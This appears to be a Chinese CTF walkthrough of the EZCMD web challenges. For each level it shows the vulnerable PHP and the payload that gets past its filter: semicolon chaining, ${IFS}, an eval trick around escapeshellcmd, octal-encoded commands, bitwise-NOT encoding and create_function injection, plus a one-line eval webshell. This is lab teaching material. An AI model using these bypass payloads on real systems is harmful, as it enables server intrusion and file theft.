当前位置: 首页 > news >正文

青岑CTF web入门 EZCMD系列

EZCMD

<?phperror_reporting(0);if(isset($_POST['cmd'])){$cmd=escapeshellcmd($_POST['cmd']);system($cmd);}show_source(__FILE__);?>

关于escapeshellcmd()函数的介绍请看博客:escapeshellcmd()与escapeshellarg()函数-CSDN博客

这一关中escapeshellcmd()可以说形同虚设:

EZCMD_1

在终端或 Shell 中,分号的作用是告诉系统:依次执行多个命令

EZCMD_2

<?phperror_reporting(0);if(isset($_POST['cmd'])){$cmd=$_POST['cmd'];system($cmd." >/dev/null 2>&1");}show_source(__FILE__);?>

虽然这段代码试图通过追加>/dev/null 2>&1来把命令的输出丢弃掉(这通常是为了不让用户看到命令执行的回显结果),但这仅仅掩耳盗铃,完全没有阻止恶意命令的执行。

当系统解析被注入的命令时:命令A ; 命令B >/dev/null 2>&1系统会认为:先正常执行命令A(它的输出会正常显示),然后再执行命令B,并且仅仅把命令B的输出丢弃

或者直接命令A # >/dev/null 2>&1来注释掉后面的丢弃语句。

EZCMD_3

<?phperror_reporting(0);if(isset($_POST['cmd'])){$cmd=$_POST['cmd'];if(strpos($cmd,' ')!==false){die('no space allowed');}system($cmd." >/dev/null 2>&1");}show_source(__FILE__);?>

在上一题的基础上过滤了空格。$IFS(Internal Field Separator) 是 Linux 的一个特殊环境变量,它的默认值就是空格、制表符(Tab)和换行符。黑客可以直接用这个变量来"替换"空格。 为了防止变量名和后面的路径连在一起(比如变成$IFSbin),黑客通常会加上大括号${IFS}或者拼接一个空变量$9

EZCMD_4

打开就是一张雷霆图片,一点也不可爱

访问robots.txt拿到一个php文件,访问就是这段代码了:

<?phperror_reporting(0);if(isset($_POST['cmd'])){$cmd=escapeshellcmd($_POST['cmd']);if(!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i',$cmd)){system($cmd);}}show_source(__FILE__);?>

这题过滤了好多东西,相当棘手。 黑名单封杀了cat,tail,more,less,nl,od等几乎所有常见的文本读取命令。 但是有一个叫dd的命令。dd本来是 Linux 下用于底层磁盘拷贝和备份的强大工具,但如果把它指向一个普通的文本文件,它同样会把文件内容打印到屏幕上。 因此构造payload:

  • if=/$a$bifdd命令里的意思是 input file(输入文件)。当 Linux Shell 看到$a$b时,它会去内存里把刚才存的ab的值拿出来。
  • 此时,/$a$b瞬间在内存中被还原成了/flag
  • 最终系统实际执行的命令是:dd if=/flag

但是这里有个问题值得思考:最前面的eval有什么用?可不可以去掉它?

先说结论:不能去掉,去掉了就拿不到flag了:

不带eval
  1. 输入:a=fl;b=ag;dd if=/$a$b
  2. PHP 的escapeshellcmd()介入:这个函数的本职工作就是转义特殊字符,它会把分号;和美元符号$前面强行加上反斜杠\。 于是,拼接进$cmd的字符串变成了:a=fl\;b=ag\;dd if=/\$a\$b
  3. 交给 Linux Shell 执行:当 Linux 收到这串带着反斜杠的命令时,它会认为:“哦,你不想让分号当分隔符,你也不想让美元符号当变量,你想让我执行一个名字就叫做a=fl;b=ag;dd的奇葩程序,并且参数是if=/$a$b。” 因为系统里根本没有这种名字的程序,所以命令直接报错退出,什么都不会发生,拿不到 flag。
带上eval
  1. 输入:eval a=fl;b=ag;dd if=/$a$b
  2. PHP 的escapeshellcmd()介入:同样,它兢兢业业地转义了分号和美元符号,变成了:eval a=fl\;b=ag\;dd if=/\$a\$b
  3. 交给 Linux Shell 执行(奇迹发生的时刻):这个时候,Linux Shell 的解析分为两步走
    • 第一步:Shell 的第一次解析Shell 看到第一个词是eval,它知道这是一个合法的系统命令。然后它把后面的部分当成参数传给eval关键特性:Shell 在给命令传递参数时,会"消耗"掉用来转义的反斜杠。也就是说,反斜杠完成了它的转义使命后,就消失了。eval实际接收到的参数是干干净净的:a=fl;b=ag;dd if=/$a$b
    • 第二步:eval的第二次解析eval这个命令的作用,就是把接收到的参数,当成全新的 Shell 语句再执行一遍!此时,eval面对的是毫无保护、没有反斜杠的纯净字符串:a=fl;b=ag;dd if=/$a$b。 分号;重新恢复了分隔符的魔力,美元符号$重新恢复了变量解析的魔力! 最终,它成功拼接出dd if=/flag,并把你的 flag 打印在了网页上。

dd if换成rev命令也能拿到flag,只不过是倒过来的

EZCMD_5

<?php//flag在/flag.txt文件中error_reporting(0);if(isset($_POST['cmd'])){$cmd=$_POST['cmd'];if(preg_match('/[a-zA-Z]/',$cmd)){die('no letter allowed');}system($cmd);}show_source(__FILE__);?>

个人认为这一关比上一关简单,这里把所有字母的大小写都过滤了。

$'...'语法在 Bash 中被称为ANSI-C 引用 (ANSI-C Quoting)。在这个结构内部,Shell 会将其中的转义序列(比如八进制、十六进制)解码成对应的 ASCII 字符。如果解码后的字符串位于命令行的开头,Shell 就会将其作为命令去执行。 比如:

$'\154\163'#等同于命令:ls
核心原理

在 ASCII 码表中,每个字符都可以用八进制数来表示。在$'...'中,你可以使用\nnn的格式(n代表八进制数字)来代替字母。

例如,字母l的 ASCII 十进制是 108,转换为八进制是154。字母s的十进制是 115,八进制是163

字符含义八进制Shell 语法
空格(分隔命令与参数)040\40
/斜杠(根目录/路径分隔)057\57
.点号(当前目录/文件扩展名)056\56
-连字符(命令参数引导)055\55
*星号(通配符绕过)052\52
字母大写八进制大写 Shell 语法小写八进制小写 Shell 语法
A / a101\101141\141
B / b102\102142\142
C / c103\103143\143
D / d104\104144\144
E / e105\105145\145
F / f106\106146\146
G / g107\107147\147
H / h110\110150\150
I / i111\111151\151
J / j112\112152\152
K / k113\113153\153
L / l114\114154\154
M / m115\115155\155
N / n116\116156\156
O / o117\117157\157
P / p120\120160\160
Q / q121\121161\161
R / r122\122162\162
S / s123\123163\163
T / t124\124164\164
U / u125\125165\165
V / v126\126166\166
W / w127\127167\167
X / x130\130170\170
Y / y131\131171\171
Z / z132\132172\172

因此直接构造payload:

cmd=$'\143\141\164' $'\57\146\154\141\147\56\164\170\164' #cat /flag.txt

EZCMD_6

<?php@eval($_POST['qc']);show_source(__FILE__);?>

典型的一句话木马,用蚁剑连接拿下flag,或者传参那下flag

EZCMD_7

<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/flag/i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>

很简单且好多种方法,?qc=system(‘cat /f*’);即可。

EZCMD_8

<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/flag|system/i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>

过滤了system关键字,可以用echo代替system。`echo`cat /f*等价于cat /f*

EZCMD_9

<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/system| /i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>

过滤了system和空格,依旧用echo``,空格用重定向符 < 代替

EZCMD_10

<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/;/i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>//flag在根目录的flag.txt文件中

过滤了分号 ; ,用?>代替他即可

EZCMD_11

<?php//flag在flag.php文件中error_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/;/i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>

依旧过滤分号 ; 因为是php文件,因此不会渲染在页面上,打开源码就能看见

EZCMD_12

<?php//flag在flag.php文件中error_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/['\"\?<>\.\$\{\}:\\\\~^@*\-+=\[\]\,]/",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>

提示flag在flag.php里面,但是过滤的有点狠了:

1. 引号与括号

  • ':单引号
  • ":双引号
  • {}:左右大括号(通过\{\}转义)
  • []:左右中括号(通过\[\]转义)

2. 标点与路径符号

  • ?:英文问号(通过\?转义)
  • .:英文句点(通过\.转义)
  • ,:英文逗号(通过\,转义)
  • ::英文冒号
  • \:反斜杠(在 PHP 字符串中写为\\\\,解析为正则表达式的\\,用于匹配单个反斜杠)

3. 数学与逻辑符号

  • <>:小于号和大于号(常用于过滤 HTML 标签<script>
  • -:减号/连字符(通过\-转义,防止正则引擎将其误认为是字符区间,如a-z
  • +:加号
  • =:等号
  • *:星号

4. 其他特殊符号

  • $:美元符号(通过\$转义,防止被误认为正则的"行尾"占位符或 PHP 变量)
  • ~:波浪号
  • ^:脱字符/插入号(在[]内部如果不在开头,代表其字面含义)
  • @:At 符号

请出我们的xargs命令,关于xargs命令可以看我的文章:xargs命令-CSDN博客

最终构造payload:

?qc=echo`ls | grep flag | xargs cat`;

EZCMD_13

<?php$re=isset($_GET['re'])?$_GET['re']:'';$str=isset($_GET['str'])?$_GET['str']:'';if($re===''||$str===''){highlight_file(__FILE__);exit;}echopreg_replace('/('.$re.')/ei','strtolower("\\1")',$str);

这是一个经典的 preg_replace /e 代码执行 漏洞(PHP < 7.0)。

漏洞原理

/e 修饰符会把替换字符串当作 PHP 代码执行:

preg_replace('/('.$re.')/ei','strtolower("\\1")',$str);
  • $re → 正则表达式(我们控制)
  • $str → 待匹配字符串(我们控制)
  • \1 → 匹配到的内容会替换进 strtolower(“\1”) 中
  • 最终拼接出的代码被 eval 执行

后面就不会做了,无论怎么造payload都不管用。希望各位有才华的读者教教我怎么做。

EZCMD_14

<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/[a-zA-Z0-9]/",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>

这是一个典型的PHP 非字母数字代码执行题,这种的一般思路就是通过取反或者异或构造想要的payload,我这里用取反做,直接写个简单的脚本:

defencode_not(func_name):result=""forchinfunc_name:val=255-ord(ch)result+=f"%{val:02X}"returnf"(~{result})"command=input("请输入命令: ")print(encode_not(command))

通过这个脚本得到 phpinfo 取反后的URL编码为: (%8F%97%8F%96%91%99%90),具体细节如下

目标字符: p h p i n f o ASCII码: 112 104 112 105 110 102 111 取反(255-x): 143 151 143 150 145 153 144 转十六进制: 0x8F 0x97 0x8F 0x96 0x91 0x99 0x90 URL编码: %8F %97 %8F %96 %91 %99 %90

最终构造pyaload: system(‘cat /flag’); 拿到flag

EZCMD_15

<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_GET['qc'])){exec($_GET['qc']);}?>

关键问题是 exec() 不回显输出(不像 system()),所以直接传命令看不到结果。

第一步:先找flag的位置:

?qc=ls / >> 1.txt

访问1.txt发现flag确实在根目录里

第二步:获取flag:

?qc=cat /flag > 1.txt

访问1.txt得到flag

EZMD5_16

<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_GET['qc'])){create_function('','return '.$_GET['qc'].';');}?>

create_function() 底层等价于 eval(),存在代码注入漏洞。

原理

用户输入直接拼接进函数体:

// 你传入 qc=1create_function('','return 1;');// 如果传入 qc=1;}system("cat /flag");/*create_function('','return 1;}system("cat /flag");/*;');

拼接后的函数体变成:

function(){return1;}// 提前闭合 return 和函数体system("cat /flag");// 注入的代码,在定义时就执行了/*;// 注释掉多余的 ;}

http://www.gsyq.cn/news/1520701.html

相关文章:

  • OmniGet:一个更省事的跨平台下载器,支持 yt-dlp、BT、磁力和 P2P 传输
  • 2026年杭州临平方管采购指南:从供应商到加工服务,一篇文章看懂钢材市场格局 - 优质品牌商家
  • Steam游戏自动破解工具终极指南:3分钟让正版游戏免Steam启动
  • Qwen+Qoder:吕布骑猪
  • 深入解析NXP SEC引擎:FIFO STORE与MOVE命令的数据搬运优化
  • [数学建模]MATLAB机器学习四大工具箱解析
  • 2026年外卖配送平台品牌综合评估:谁在重塑本地即时配送格局? - 优质品牌商家
  • 社会运动群体极端化分析助手(附:豆腐脑甜咸争吵案例)
  • OpenCore Legacy Patcher完整指南:三步让旧Mac免费升级最新系统
  • 2026真实测评:深港两地都能服务的全屋定制工厂,到底是不是智商税?
  • 终极GTA5游戏辅助菜单:YimMenu完整安全防护与功能增强指南
  • 群晖NAS小白必看:用Cpolar搞定FTP远程访问,再也不用担心文件传不过来了
  • 汇川AM系列PLC玩转CNC加工:从CAD图纸到G代码文件(File模式)的保姆级配置流程
  • 2026年楼板品牌实力观察:从技术专利到项目落地,谁在推动行业升级? - 优质品牌商家
  • 别再被 SEO 换壳公司坑了!真正专业的 GEO 优化公司都有这 6 个特征 - 玖叁鹿
  • 告别混乱!用ArcCatalog高效管理你的ArcMap数据层(以综合管廊数据为例)
  • 5分钟快速上手:Windows电脑安装Android应用的终极指南
  • 电路板产业GEO优化公司哪家好?2026年深度评测与选型指南 - GEO优化
  • 2026年西南地区铁艺护栏与大门厂家深度观察:从技术实力到工程交付的全面对比 - 优质品牌商家
  • WaveTools鸣潮工具箱:从新手到高手的游戏体验升级之旅
  • 多模态数据集蒸馏技术PDS框架解析与应用
  • 2026 讲解器品牌深度解析:易优游 —— 文旅、研学与政企接待的高性价比首选
  • 首脑美发培训学校报名费多少?
  • 2026年电力装备GEO优化公司哪家好?权威评测:告别“流量内卷”,只看“全意图”实效 - GEO优化
  • 2026年公园休闲椅选购指南:行业趋势、主流类型与代表性企业解析 - 优质品牌商家
  • KKS-HF Patch终极指南:3步解决Koikatsu Sunshine语言障碍与功能限制
  • 告别单调播报:用uniapp插件Ba-TTS给你的App加上‘会说话’的震动反馈(附完整代码)
  • R语言输出csv文件
  • Shell函数与自动化:让脚本从“能用“进化到“好用“
  • 2025-2026企业出海ODI备案服务机构选择指南:合规路径与实务案例深度解析 - 优质品牌商家